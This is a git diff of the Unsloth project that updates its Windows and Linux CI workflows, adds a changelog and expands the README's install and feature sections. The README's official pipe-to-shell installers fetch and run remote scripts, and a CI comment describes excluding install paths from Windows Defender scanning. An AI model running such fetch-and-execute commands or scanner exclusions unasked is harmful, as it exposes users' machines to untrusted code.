if ($LASTEXITCODE -ne 0) { Write-Host "::error::pip install huggingface_hub failed"; exit 1 }
python studio/install_llama_prebuilt.py --resolve-prebuilt latest --output-format json > resolve.json
if ($LASTEXITCODE -ne 0) {
Write-Host "::error::resolver exited non-zero"
if (Test-Path resolve.json) { Get-Content resolve.json }
exit 1
}
Get-Content resolve.json
Write-Host "Prebuilt resolver ran with no Visual Studio present."
- name: Restore Visual Studio
- name: Clean no-build-tools simulation
if: always()
shell: pwsh
run: |
foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
$off = "$d.vsoff"
if (Test-Path -LiteralPath $off) { Rename-Item -LiteralPath $off -NewName (Split-Path $d -Leaf); Write-Host "Restored $d" }
}
Remove-Item -LiteralPath (Join-Path $env:GITHUB_WORKSPACE 'no-build-tools') -Recurse -Force -ErrorAction SilentlyContinue
# ── folded from studio-setup-ps1-vs2026.yml: setup.ps1 unit tests + real-VS detection + vcredist ──
pester:
@ -1747,8 +1889,11 @@ jobs:
# (step/substep -> Write-StudioStdoutMirror / Get-StudioAnsi).
$script:StudioVtOk = $false
$script:UnslothVerbose = $false
# Get-HostMachineArch is reached only on the absent path, where
# Test-VCRedistInstalled consults it before trusting the System32 DLL, so
# part A passes without it and only the clean-box part fails.
foreach ($fn in @('Get-StudioAnsi', 'Write-StudioStdoutMirror', 'step', 'substep',
'Invoke-SetupCommand', 'Refresh-Environment',
'Invoke-SetupCommand', 'Refresh-Environment', 'Get-HostMachineArch',
'Test-VCRedistInstalled', 'Ensure-VCRedist')) {
$src = Get-FunctionSource -Path $setup -Name $fn
if (-not $src) { throw "Function '$fn' not found in setup.ps1" }

View file

@ -4,11 +4,11 @@
# Windows counterpart to studio-ui-smoke.yml / studio-mac-ui-smoke.yml.
# Same Playwright + Chromium end-to-end chat UI flow + extra UI flow,
# but on the FREE windows-latest runner so we catch Windows-specific
# regressions in the install path (install.ps1), the Studio CLI's
# regressions in the install path (install.ps1), the Unsloth CLI's
# Windows process-management branches, and the llama.cpp prebuilt's
# Windows HTTP layer.
name: Windows Studio UI CI
name: Windows Unsloth UI CI
on:
pull_request:
@ -19,6 +19,7 @@ on:
- 'install.ps1'
- 'pyproject.toml'
- 'tests/studio/**'
- '.github/scripts/run-studio-permission-browser.sh'
- '.github/workflows/studio-windows-ui-smoke.yml'
push:
branches: [main, pip]
@ -49,7 +50,7 @@ jobs:
GGUF_FILE: gemma-3-270m-it-UD-Q4_K_XL.gguf
STUDIO_PORT: '18896'
HF_HOME: ${{ github.workspace }}/hf-cache
# Force UTF-8 for stdio so Python tools (hf download, Studio
# Force UTF-8 for stdio so Python tools (hf download, Unsloth
# CLI, etc.) can print Unicode characters like the success
# checkmark "✓". Windows defaults to cp1252 / charmap and
# any tool that prints "OK ✓" hits a UnicodeEncodeError.
@ -121,7 +122,7 @@ jobs:
# studio-windows-update-smoke.yml for the full rationale --
# creating an empty studio/frontend/dist trips setup.ps1's
# mtime-based staleness check into "frontend up to date, skip
# rebuild" and Studio boots with an empty dist directory.
# rebuild" and Unsloth boots with an empty dist directory.
# Add-MpPreference accepts paths that do not yet exist.
foreach ($p in @(
"$env:USERPROFILE\.unsloth",
@ -148,7 +149,7 @@ jobs:
Set-Content -LiteralPath (Join-Path $appDir 'launch-studio.vbs') -Value 'WScript.Echo "legacy"' -Encoding Unicode
Write-Host "seeded legacy launch-studio.vbs at $appDir"
- name: Install Studio (--local, --no-torch)
- name: Install Unsloth (--local, --no-torch)
# install.ps1 is the supported Windows installer. install.sh
# has no Windows branch (apt-get / brew calls). The PS1
# script's `Install-UnslothStudio @args` line at the bottom
@ -205,7 +206,7 @@ jobs:
echo "install.ps1 installed the Windows prebuilt llama.cpp:"
cat "$INFO"
- name: Assert Studio launcher chain (no VBS, hidden PowerShell shortcut)
- name: Assert Unsloth launcher chain (no VBS, hidden PowerShell shortcut)
# The shortcut launch path is otherwise untested here (the steps below
# boot `unsloth studio` directly). Guard against re-introducing the VBS
# that tripped Kaspersky HEUR:Trojan.VBS.Agent.gen and against the .lnk
@ -234,7 +235,7 @@ jobs:
}
Write-Host "launcher chain OK (no VBS; hidden powershell over launch-studio.ps1)"
- name: Launch Studio via the shortcut and assert health
- name: Launch Unsloth via the shortcut and assert health
# Run the exact command the .lnk stores (hidden PowerShell over
# launch-studio.ps1) and confirm it brings the backend up. This is the
# only step that proves the shortcut launch is not silently broken.
@ -265,10 +266,10 @@ jobs:
$owner = (Get-NetTCPConnection -LocalPort $foundPort -State Listen -ErrorAction Stop | Select-Object -First 1).OwningProcess
if ($owner) { taskkill /PID $owner /T /F 2>$null | Out-Null }
} catch {}
if (-not $foundPort) { throw "Studio did not become healthy when launched via the shortcut" }
Write-Host "Studio healthy on port $foundPort (launched via the shortcut)"
if (-not $foundPort) { throw "Unsloth did not become healthy when launched via the shortcut" }
Write-Host "Unsloth healthy on port $foundPort (launched via the shortcut)"
- name: Add Studio shim to GITHUB_PATH
- name: Add Unsloth shim to GITHUB_PATH
# install.ps1 puts unsloth.exe at $StudioHome\bin\unsloth.exe
# and adds that dir to the User PATH via the Windows registry.
# Registry-level PATH updates don't propagate to a running
@ -284,7 +285,7 @@ jobs:
fi
# GITHUB_PATH wants Windows-style paths; convert via cygpath.
cygpath -w "$SHIM_DIR" >> "$GITHUB_PATH"
echo "Added Studio shim dir to PATH: $(cygpath -w "$SHIM_DIR")"
echo "Added Unsloth shim dir to PATH: $(cygpath -w "$SHIM_DIR")"
- name: Install Playwright + Chromium
# No --with-deps on Windows: that flag installs Linux apt
@ -294,9 +295,10 @@ jobs:
python -m pip install 'playwright>=1.45'
python -m playwright install chromium
- name: Reset auth + boot Studio
- name: Reset auth + boot Unsloth
run: |
unsloth studio reset-password
# Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password.
rm -rf ~/.unsloth/studio/auth
mkdir -p logs
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \
> logs/studio.log 2>&1 &
@ -339,15 +341,19 @@ jobs:
mkdir -p logs/playwright
python tests/studio/playwright_chat_ui.py
- name: Stop Studio (chat-ui ends with Shutdown click; this is belt-and-suspenders)
- name: Stop Unsloth (chat-ui ends with Shutdown click; this is belt-and-suspenders)
if: always()
run: |
kill "${STUDIO_PID}" 2>/dev/null || true
sleep 2
- name: Reset auth + boot Studio for extra UI tests (port 18897)
- name: Edge permission controls
run: |
unsloth studio reset-password
bash .github/scripts/run-studio-permission-browser.sh 18895 chromium msedge
- name: Reset auth + boot Unsloth for extra UI tests (port 18897)
run: |
rm -rf ~/.unsloth/studio/auth
mkdir -p logs
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18897 \
> logs/studio_extra.log 2>&1 &
@ -372,7 +378,7 @@ jobs:
echo "STUDIO_EXTRA_OLD_PW=$OLD" >> "$GITHUB_ENV"
echo "STUDIO_EXTRA_NEW_PW=$NEW" >> "$GITHUB_ENV"
- name: Drive Compare/Recipes/Export/Studio/Settings with Playwright
- name: Drive Compare/Recipes/Export/Unsloth/Settings with Playwright
env:
BASE_URL: http://127.0.0.1:18897
STUDIO_OLD_PW: ${{ env.STUDIO_EXTRA_OLD_PW }}
@ -386,7 +392,7 @@ jobs:
mkdir -p logs/playwright_extra
python tests/studio/playwright_extra_ui.py
- name: Stop second Studio
- name: Stop second Unsloth
if: always()
run: |
kill "${STUDIO_EXTRA_PID}" 2>/dev/null || true
@ -402,5 +408,7 @@ jobs:
logs/studio_extra.log
logs/install.log
logs/playwright
logs/playwright-permissions-*
logs/playwright_extra
logs/studio-permissions-*.log
retention-days: 7

View file

@ -5,19 +5,19 @@
# studio-mac-update-smoke.yml. Verifies that on the FREE
# windows-latest runner:
#
# 1. install.ps1 --local --no-torch installs Studio AND auto-fetches
# the prebuilt llama.cpp Windows binary (llama-bNNNN-bin-win-cpu-
# x64 from ggml-org/llama.cpp). Hitting the source-build fallback
# is treated as an Unsloth bug -- Studio must always pick the
# 1. install.ps1 --local --no-torch installs Unsloth AND auto-fetches
# the prebuilt llama.cpp Windows binary (app-<tag>-windows-x64-cpu
# from unslothai/llama.cpp). Hitting the source-build fallback is
# treated as an Unsloth bug -- Unsloth must always pick the
# prebuilt on Windows.
# 2. unsloth studio update --local is idempotent. Two consecutive
# runs both report "prebuilt up to date and validated", no
# source-build fallback. The CLI's _find_setup_script picks
# setup.ps1 on Windows automatically.
# 3. The installed Studio still boots and /api/health returns
# 3. The installed Unsloth still boots and /api/health returns
# healthy after the update path.
name: Windows Studio Update CI
name: Windows Unsloth Update CI
on:
pull_request:
@ -45,7 +45,7 @@ permissions:
jobs:
update-idempotency:
name: Studio Updating Tests
name: Unsloth Updating Tests
runs-on: windows-latest
timeout-minutes: 30
defaults:
@ -53,7 +53,7 @@ jobs:
shell: bash
env:
# Force UTF-8 for stdio (Windows defaults to cp1252; hf
# download / Studio CLI print "✓" checkmarks and crash
# download / Unsloth CLI print "✓" checkmarks and crash
# otherwise).
PYTHONIOENCODING: utf-8
PYTHONUTF8: '1'
@ -90,7 +90,7 @@ jobs:
# reuses the existing Node with no download.
#
# (2) Defender. windows-latest's real-time scan opens / hashes
# every file Studio writes during install (Vite output =
# every file Unsloth writes during install (Vite output =
# thousands of small chunks, uv pip = wheel-extraction =
# thousands of small files). The latency dominates the
# 200 s frontend build and the 90 s deps install. Adding
@ -109,7 +109,7 @@ jobs:
# setup.ps1 line 1281-1296's mtime-based "is the frontend
# stale?" check into "up to date, skip rebuild", because the
# newly-created dist's mtime is younger than every source
# file. Studio then boots with an empty dist and 500s on
# file. Unsloth then boots with an empty dist and 500s on
# GET / with FileNotFoundError: dist\index.html. See run
# 25546676715 / job 74984469728.
# Add-MpPreference accepts paths that do not yet exist; the
@ -129,7 +129,7 @@ jobs:
}
}
- name: Install Studio (--local, --no-torch)
- name: Install Unsloth (--local, --no-torch)
shell: pwsh
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
@ -168,7 +168,7 @@ jobs:
echo "install.ps1 installed the Windows prebuilt llama.cpp:"
cat "$INFO"
- name: Add Studio shim to GITHUB_PATH
- name: Add Unsloth shim to GITHUB_PATH
run: |
SHIM_DIR=~/.unsloth/studio/bin
if [ ! -f "$SHIM_DIR/unsloth.exe" ]; then
@ -198,6 +198,31 @@ jobs:
fi
echo "update path took the prebuilt fast path"
- name: Update must keep the --no-torch install GGUF-only
run: |
# `unsloth studio update` exports no UNSLOTH_NO_TORCH, so setup.ps1 has
# to recover the mode from the install manifest. Without that it reads
# the missing torch as a stale venv and tries to delete the venv it is
# running out of, and the shared dependency pass pulls torch back in.
# The skip line only prints when the dependency pass actually runs, so
# don't demand it if the fast path short-circuited that pass.
if grep -q "running ordered dependency installation" logs/update.log \
&& ! grep -q "skipping direct PyTorch and Triton installation (no-torch mode)" logs/update.log; then
echo "::error::studio update left no-torch mode; it would reinstall PyTorch."
grep -iE "no-torch|stale venv|PyTorch" logs/update.log | tail -40
exit 1
fi
PY="$HOME/.unsloth/studio/unsloth_studio/Scripts/python.exe"
if [ ! -f "$PY" ]; then
echo "::error::studio venv interpreter missing at $PY"
exit 1
fi
if "$PY" -c "import torch" 2>/dev/null; then
echo "::error::torch was reinstalled into the --no-torch venv."
exit 1
fi
echo "update preserved no-torch mode"
- name: Second update must also be a no-op
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
@ -212,7 +237,7 @@ jobs:
grep -qE "prebuilt up to date and validated|prebuilt installed and validated" logs/update2.log
echo "second update was clean"
- name: Boot Studio briefly to confirm the install is still usable
- name: Boot Unsloth briefly to confirm the install is still usable
run: |
mkdir -p logs
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18891 \
@ -239,13 +264,13 @@ jobs:
sleep 1
done
if [ -z "$HEALTHY" ]; then
echo "Studio failed to come up after \`update\`"
echo "Unsloth failed to come up after \`update\`"
tail -200 logs/studio.log
kill "$PID" 2>/dev/null || true
exit 1
fi
kill "$PID" 2>/dev/null || true
echo "post-update Studio /api/health OK"
echo "post-update Unsloth /api/health OK"
- name: Uninstall and verify clean
# Round-trip through scripts/uninstall.ps1 against the default

View file

@ -285,6 +285,92 @@ jobs:
tests/vllm_compat/test_extended_module_imports.py \
-v --tb=short
# Fake-CUDA GRPO/SFT/DPO patch run against REAL TRL (latest + main). Unlike
# the static symbol/source greps above, this drives unsloth's actual
# source-transform patchers (models/rl.py + rl_replacements.py) on a CPU-only
# runner under the tests/conftest.py spoof harness -- no GPU, no training.
# Catches structural TRL drift the greps miss (e.g. TRL 1.7.0's 2->3-tuple
# per-token-logps return, restructured PEFT ref-adapter block) by asserting
# the generated Unsloth trainer still satisfies the transform contracts.
grpo-fake-run:
name: GRPO fake-run (latest + main TRL, CPU spoof)
runs-on: ubuntu-latest
timeout-minutes: 18
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
persist-credentials: false
path: unsloth
- name: Clone unsloth-zoo @ main
run: |
for attempt in 1 2 3; do
rm -rf "$RUNNER_TEMP/unsloth-zoo"
if git clone --depth=1 https://github.com/unslothai/unsloth-zoo \
"$RUNNER_TEMP/unsloth-zoo"; then
break
fi
if [ "$attempt" -eq 3 ]; then
echo "::error::git clone unsloth-zoo failed after 3 attempts"
exit 1
fi
delay=$((5 * attempt))
echo "::warning::clone failed (attempt $attempt/3), retrying in ${delay}s..."
sleep "$delay"
done
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
with:
python-version: '3.12'
cache: 'pip'
- name: Install CPU torch + ecosystem + TRL latest
run: |
python -m pip install --upgrade pip
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
'torch>=2.4,<2.11' 'torchvision<0.26' 'torchcodec<0.10'
# Ecosystem floors unsloth needs; TRL itself is installed last so it
# can pull the transformers/peft it requires.
pip install \
'transformers>=4.57' 'peft>=0.18.0' 'accelerate>=1.0' 'datasets>=3.4,<5' \
'bitsandbytes>=0.45.5' sentencepiece protobuf safetensors numpy 'pytest>=8' \
'huggingface_hub>=0.34' tqdm packaging psutil triton Pillow
pip install --upgrade trl
pip install --no-deps -e "$RUNNER_TEMP/unsloth-zoo"
pip install --no-deps -e ./unsloth
- name: Fake-run vs TRL latest
env:
UNSLOTH_IS_PRESENT: '1'
UNSLOTH_COMPILE_DISABLE: '1'
# Disable dynamo/inductor at the process level, before conftest.py's early
# `import unsloth`, so the GRPO hot path never compiles on the GPU-less runner
# (defense in depth; the CPU fake-train also flips this at runtime).
TORCHDYNAMO_DISABLE: '1'
TORCH_COMPILE_DISABLE: '1'
PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION: python
run: |
cd unsloth
python -c "import trl; print('Resolved TRL', trl.__version__)"
PYTHONPATH=. python -m pytest \
tests/version_compat/test_trl_grpo_fake_run.py \
tests/version_compat/test_trl_fake_train_cpu.py \
-v --tb=short
# `main` is scheduled/dispatch-only so PR jobs stay fast and a bleeding-edge
# TRL break does not red every PR. github.event_name is valid in a step if.
- name: Fake-run vs TRL main (scheduled / dispatch only)
if: ${{ github.event_name != 'pull_request' }}
env:
UNSLOTH_IS_PRESENT: '1'
UNSLOTH_COMPILE_DISABLE: '1'
TORCHDYNAMO_DISABLE: '1'
TORCH_COMPILE_DISABLE: '1'
PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION: python
run: |
pip install --upgrade "git+https://github.com/huggingface/trl"
cd unsloth
python -c "import trl; print('Resolved TRL', trl.__version__)"
PYTHONPATH=. python -m pytest \
tests/version_compat/test_trl_grpo_fake_run.py \
tests/version_compat/test_trl_fake_train_cpu.py \
-v --tb=short
# Daily-only: same suites but with --strict on importable upstream
# tags. Schedule-only so PR jobs stay fast; cron tolerates a flake.
daily-fresh-fetch:

View file

@ -3,7 +3,7 @@
# Builds the PyPI wheel from the PR branch, then verifies the built wheel
# actually contains what we expect to ship and does NOT contain the broken
# Studio bundle that 2026.5.1 published. This is the single workflow that
# Unsloth bundle that 2026.5.1 published. This is the single workflow that
# would have blocked the 2026.5.1 release before twine upload.
#
# Verified locally end-to-end against this branch:
@ -12,7 +12,7 @@
# lockfile shipped, frontend dist shipped,
# no node_modules in wheel, no bun.lock in wheel,
# main bundle has unstable_Provider hits=1 (assistant-ui internals only).
# - Studio backend imports cleanly from the installed wheel with the
# - Unsloth backend imports cleanly from the installed wheel with the
# lightweight dep set below.
name: Wheel CI
@ -101,7 +101,7 @@ jobs:
hits = data.count("unstable_Provider:")
print(f"main bundle: {js[0]}")
print(f"unstable_Provider hits: {hits} (>=4 indicates 2026.5.1 regression)")
checks["bundle has no Studio unstable_Provider call site"] = (hits < 4)
checks["bundle has no Unsloth unstable_Provider call site"] = (hits < 4)
print()
for k, v in checks.items():
@ -109,7 +109,7 @@ jobs:
sys.exit(0 if all(checks.values()) else 1)
PY
- name: Studio backend import smoke
- name: Unsloth backend import smoke
# Imports `studio.backend.main:app` from the freshly-installed wheel in
# a clean venv. This catches the class of bug that 2026.5.1 shipped with:
# frontend dist missing, package-lock.json missing, or the wheel's Python
@ -125,7 +125,32 @@ jobs:
/tmp/v/bin/pip install --no-deps dist/unsloth-*.whl
# Run from /tmp so Python imports the installed package, not the source tree.
cd /tmp
/tmp/v/bin/python -c "from studio.backend.main import app; print('Studio backend OK:', app.title)"
/tmp/v/bin/python -c "from studio.backend.main import app; print('Unsloth backend OK:', app.title)"
- name: CLI without the Studio stack guides instead of tracebacking
# The smoke above installs studio.txt first, so it cannot catch a wheel
# that ships studio/ without declaring what it imports (#4701, #5260,
# #7147). Drop only structlog to reuse that venv without a re-download.
run: |
set -eu
/tmp/v/bin/pip uninstall -y structlog >/dev/null
cd /tmp
status=0
for args in "export ./nope ./out" "list-checkpoints"; do
echo "--- unsloth $args"
out=$(/tmp/v/bin/unsloth $args 2>&1 || true)
printf '%s\n' "$out"
case "$out" in
*Traceback*)
echo "FAIL: raw traceback instead of guidance"; status=1 ;;
esac
case "$out" in
*'unsloth studio update'*) ;;
*) echo "FAIL: no remediation in the message"; status=1 ;;
esac
done
/tmp/v/bin/pip install -q structlog >/dev/null
exit "$status"
- name: Upload wheel on failure
if: failure()

6
.gitignore vendored
View file

@ -208,6 +208,9 @@ tmp/
**/node_modules/
auth.db
# Packaging snapshot of the root CHANGELOG.md (written by build.sh)
studio/CHANGELOG.md
# Tauri local build/generated output
studio/src-tauri/target/
studio/src-tauri/gen/
@ -238,4 +241,5 @@ package-lock.json
!studio/package-lock.json
llama.cpp/
# Stray "~" dir some tools create from a literal ~ TMPDIR; never part of the repo.
/~/
~/
/temp/

88
CHANGELOG.md Normal file
View file

@ -0,0 +1,88 @@
# Changelog
Release notes for Unsloth and Unsloth Studio.
Unsloth Studio reads this file to show release notes inside the "New Unsloth
version" update popup. Edit it here and the popup picks the change up on the
next update check, with no release or rebuild required.
## Format
Every release is a level-2 heading whose first token is the version, optionally
followed by a date:
```md
## 2026.7.6 - 2026-07-22
```
`## [2026.7.6] - 2026-07-22` and `## v2026.7.6` also work. Everything under a
heading, up to the next level-2 heading, is that release's notes and renders as
Markdown in the popup.
Notes are matched to one exact version. When Studio offers an update to
`2026.7.6` it renders the `2026.7.6` section and nothing else. If that section
is missing, the popup links out to the online changelog rather than showing
notes from an unrelated release, so a new version needs its own section here
before its notes can appear.
Keep the newest release at the top. Lead each bullet with the change itself:
the collapsed popup highlights the first sentence and dims the rest.
`## Unreleased` is ignored by the popup, so it is safe to stage notes there and
rename the heading at release time.
<!-- Add new releases directly below this line. -->
## Unreleased
## 2026.7.5
### What's Changed
- AMD support is here. Train, run RL, chat with and deploy 500+ models on
Radeon, Instinct, Ryzen and data center GPUs across Windows, WSL and Linux,
up to 2x faster with 70% less VRAM and no accuracy loss.
- Intel XPU support lands in Studio, so Arc and Data Center GPUs run chat and
training alongside the NVIDIA, AMD and Apple paths.
- Local speech to text dictation runs fully offline, with slim Whisper bundles
and a picker for custom models.
- DoRA training is available in Studio, selectable next to LoRA and full
fine-tuning in the training tab.
- The update popup previews release notes inline, pulled from this file and
matched to the exact version being offered.
### AMD, 23 July update
Our AMD collaboration, custom Triton kernels and math algorithms bring local
training and inference to AMD hardware. The 23 July update builds on the
[AMD release](https://github.com/unslothai/unsloth/releases/tag/v0.1.501-beta):
- RDNA2 and Gorgon Halo are supported, and the installer no longer fails to
detect GPUs on Strix Halo and other AMD cards.
- RDNA4 handling is better, and HIP and ROCm failures are caught and fixed
automatically instead of stopping the install.
- Unified memory safetensors loading is 2x faster, with much faster gradient
checkpointing on unified memory devices.
- Voice dictation through whisper.cpp has preliminary support.
- Rollback environments left by installs no longer eat 5GB of disk. They are
cleaned up automatically.
Optimized ROCm builds cover GGUF and safetensors inference, and ROCm
compatibility is improved for MI300X and MI325X. Full guide:
[unsloth.ai/docs/basics/amd](https://unsloth.ai/docs/basics/amd).
### Running larger models
- Automatic GPU placement, or pick exactly which GPUs and layers to use.
- Move MoE expert layers into system memory so larger models fit.
- Split a model across several GPUs, or use tensor parallelism.
- Hardware settings are saved per model and quant.
### Also in this release
- Remote access with `unsloth studio --secure` over free HTTPS via Cloudflare.
- Web search reads PDF papers and manuals, and parallel tool calls, reasoning
output and tool retries are more reliable.
- The model download location is configurable, so weights can live on a second
drive instead of the default cache.
- Stalled Hugging Face XET downloads retry over standard HTTP, and existing
GGUF files are reused instead of downloaded again.

2
MANIFEST.in Normal file
View file

@ -0,0 +1,2 @@
include _changelog_build.py
include CHANGELOG.md

122
README.md
View file

@ -11,6 +11,7 @@ Unsloth Studio lets you run and train models locally.
<p align="center">
<a href="#-features">Features</a> •
<a href="#-unsloth-news">News</a> •
<a href="#-install">Quickstart</a> •
<a href="#-free-notebooks">Notebooks</a> •
<a href="https://unsloth.ai/docs">Documentation</a>
@ -47,15 +48,51 @@ Unsloth Studio (Beta) lets you run and train text, [audio](https://unsloth.ai/do
* [Auto set inference settings](https://unsloth.ai/docs/new/studio/chat#auto-parameter-tuning) and customize chat templates.
* We work directly with teams behind [gpt-oss](https://docs.unsloth.ai/new/gpt-oss-how-to-run-and-fine-tune#unsloth-fixes-for-gpt-oss), [Qwen3](https://www.reddit.com/r/LocalLLaMA/comments/1kaodxu/qwen3_unsloth_dynamic_ggufs_128k_context_bug_fixes/), [Llama 4](https://github.com/ggml-org/llama.cpp/pull/12889), [Mistral](https://huggingface.co/mistralai/Mistral-Medium-3.5-128B/discussions/18), [Gemma 1-3](https://news.ycombinator.com/item?id=39671146), and [Phi-4](https://unsloth.ai/blog/phi4), where weve fixed bugs that improve model accuracy.
* Chat with images, audio, PDFs, code, DOCX and more. [Connect API providers](https://unsloth.ai/docs/integrations/connections) (OpenAI, Anthropic) or servers (vLLM, Ollama).
* [**Compare any two models**](https://unsloth.ai/docs/new/studio/chat#model-arena) side by side with the same prompt.
* **OpenAI/Anthropic-compatible APIs**: Serve local models through `/v1/chat/completions`, `/v1/responses` and `/v1/messages`.
* **Connect local models to agents**: Use `unsloth start` with Claude Code, Codex, Hermes and more.
* **Web/PDF search** can read PDF papers, manuals and other PDF results.
* **GGUF hardware controls**: Choose GPUs/layers, offload MoE experts, use multi-GPU or Tensor Parallelism.
* The opt-in **MCP control endpoint** lets AI clients manage models, training, recipes and exports.
### Training
* Train and RL **500+ models** up to **2x faster** with up to **70% less VRAM**, with no accuracy loss.
* Custom Triton and mathematical **kernels**. See some collabs we did with [PyTorch](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide/fp8-reinforcement-learning) and [Hugging Face](https://unsloth.ai/docs/new/faster-moe).
* Train and RL **500+ models** up to **2x faster** with **70% less VRAM**; MoE up to **12x faster**.
* Train and run RL on [AMD GPUs](https://unsloth.ai/docs/basics/amd) across Windows, WSL and Linux.
* **Data Recipes**: [Auto-create datasets](https://unsloth.ai/docs/new/studio/data-recipe) from **PDF, CSV, DOCX** etc. Edit data in a visual-node workflow.
* **[Reinforcement Learning](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide)** (RL): The most efficient [RL](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide) library, using **80% less VRAM** for GRPO, [FP8](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide/fp8-reinforcement-learning) etc.
* Supports full fine-tuning, RL, pretraining, 4-bit, 16-bit and, FP8 training.
* **[Reinforcement Learning](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide)** uses **80% less VRAM** for GRPO, FP8 and vision RL, with 7x longer contexts.
* [**Long-context training**](https://unsloth.ai/docs/new/3x-faster-training-packing): **3x faster**, 30% less VRAM and 500K+ context.
* Supports LoRA/QLoRA, full fine-tuning, RL, pretraining, 4-bit, 16-bit and FP8.
* Custom Triton and mathematical **kernels** built with PyTorch and Hugging Face.
* **Observability**: Monitor training live, track loss and GPU usage and customize graphs.
* [Multi-GPU](https://unsloth.ai/docs/basics/multi-gpu-training-with-unsloth) training is supported, with major improvements coming soon.
## 🚀 Unsloth Start
[Unsloth Start](https://unsloth.ai/docs/integrations/unsloth-start) connects [Claude Code](https://unsloth.ai/docs/basics/claude-code), [Codex](https://unsloth.ai/docs/basics/codex) and other agents to local models with one command.
Start Unsloth, load a model, open your project folder, then run:
```bash
unsloth start claude
```
Replace `claude` with any supported agent:
| Agent | Command |
| --- | --- |
| Claude Code | `unsloth start claude` |
| OpenAI Codex | `unsloth start codex` |
| Hermes Agent | `unsloth start hermes` |
| OpenClaw | `unsloth start openclaw` |
| OpenCode | `unsloth start opencode` |
| Pi Coding Agent | `unsloth start pi` |
Claude Code, Codex, OpenCode and Pi can keep their current model and use Unsloth as a local
subagent:
```bash
unsloth start claude --as-subagent --model unsloth/model-GGUF:quant
```
## 📥 Install
Unsloth can be used in two ways: through **[Unsloth Studio](https://unsloth.ai/docs/new/studio/)**, the web UI, or through **Unsloth Core**, the code-based version. Each has different requirements.
@ -65,7 +102,8 @@ Unsloth Studio (Beta) works on **Windows, Linux, WSL** and **macOS**.
* **CPU:** Supported for Chat and Data Recipes currently
* **NVIDIA:** Training works on RTX 30/40/50, Blackwell, DGX Spark, Station and more
* **macOS:** Training, MLX and GGUF inference are ALL supported.
* **AMD:** Chat + Data works. Train with [Unsloth Core](#unsloth-core-code-based). Studio support is out soon.
* **AMD:** Training, RL, chat and deployment work on Windows, WSL and Linux. [Read the AMD guide](https://unsloth.ai/docs/basics/amd).
* **Vulkan:** GGUF inference is supported on [compatible GPUs, including Intel GPUs](https://github.com/unslothai/unsloth/pull/5819). Vulkan accelerates GGUF inference only; training still requires a supported PyTorch or MLX backend.
* **Multi-GPU:** Available now, with a major upgrade on the way
#### macOS, Linux, WSL:
@ -74,19 +112,35 @@ curl -fsSL https://unsloth.ai/install.sh | sh
```
Use the same command to update.
To force the Vulkan llama.cpp backend, set `UNSLOTH_FORCE_VULKAN=1` **before installing or updating**. The setting selects the llama.cpp binary bundle, so setting it only when launching Studio cannot replace an existing CPU bundle:
```bash
export UNSLOTH_FORCE_VULKAN=1
curl -fsSL https://unsloth.ai/install.sh | sh
```
#### Windows:
```powershell
irm https://unsloth.ai/install.ps1 | iex
```
Use the same command to update.
To force the Vulkan llama.cpp backend, set the environment variable before running the installer or updater:
```powershell
$env:UNSLOTH_FORCE_VULKAN=1
irm https://unsloth.ai/install.ps1 | iex
```
Re-running the current installer replaces a previously selected CPU bundle when the backend differs. A separate Vulkan SDK is not required; the GPU driver must provide a working Vulkan runtime.
#### Launch
```bash
unsloth studio -p 8888
```
For cloud or global access, add `-H 0.0.0.0`. By default, Unsloth is accessible only locally.
For LAN or cloud access, add `-H 0.0.0.0` (raw port only; add `--cloudflare` for a public URL). By default, Unsloth is accessible only locally.
To reach Studio over HTTPS, use `unsloth studio --secure`. Studio stays bound to localhost and is reached only through a free Cloudflare tunnel, which publishes it at a public `https://*.trycloudflare.com` URL (it fails closed if the tunnel can't start, so the raw port is never exposed). This makes Studio reachable from the internet, so anyone with the link and API key can use it and run code: keep your API key private (see Remote access below).
To reach Unsloth over HTTPS, use `unsloth studio --secure`. Unsloth stays bound to localhost and is reached only through a free Cloudflare tunnel, which publishes it at a public `https://*.trycloudflare.com` URL (it fails closed if the tunnel can't start, so the raw port is never exposed). This makes Unsloth reachable from the internet, so anyone with the link and API key can use it and run code: keep your API key private (see Remote access below).
#### Docker
Use our [Docker image](https://hub.docker.com/r/unsloth/unsloth) ```unsloth/unsloth``` container. Run:
@ -122,7 +176,7 @@ You can use the same Docker image as Unsloth Studio.
#### AMD, Intel:
For RTX 50x, B200, 6000 GPUs: `uv pip install unsloth --torch-backend=auto`. Read our guides for: [Blackwell](https://unsloth.ai/docs/blog/fine-tuning-llms-with-blackwell-rtx-50-series-and-unsloth) and [DGX Spark](https://unsloth.ai/docs/blog/fine-tuning-llms-with-nvidia-dgx-spark-and-unsloth). <br>
To install Unsloth on **AMD** and **Intel** GPUs, follow our [AMD Guide](https://unsloth.ai/docs/get-started/install/amd) and [Intel Guide](https://unsloth.ai/docs/get-started/install/intel).
To install Unsloth on **AMD** and **Intel** GPUs, follow our [AMD Guide](https://unsloth.ai/docs/basics/amd) and [Intel Guide](https://unsloth.ai/docs/get-started/install/intel).
## 📒 Free Notebooks
@ -148,13 +202,20 @@ Read our [guide](https://unsloth.ai/docs/get-started/fine-tuning-llms-guide). Ad
- See detailed documentation for Unsloth [here](https://unsloth.ai/docs)
## 🦥 Unsloth News
- **Connections**: Connect any API provider (OpenAI, Anthropic) or server (vLLM, Ollama). [Guide](https://unsloth.ai/docs/integrations/connections)
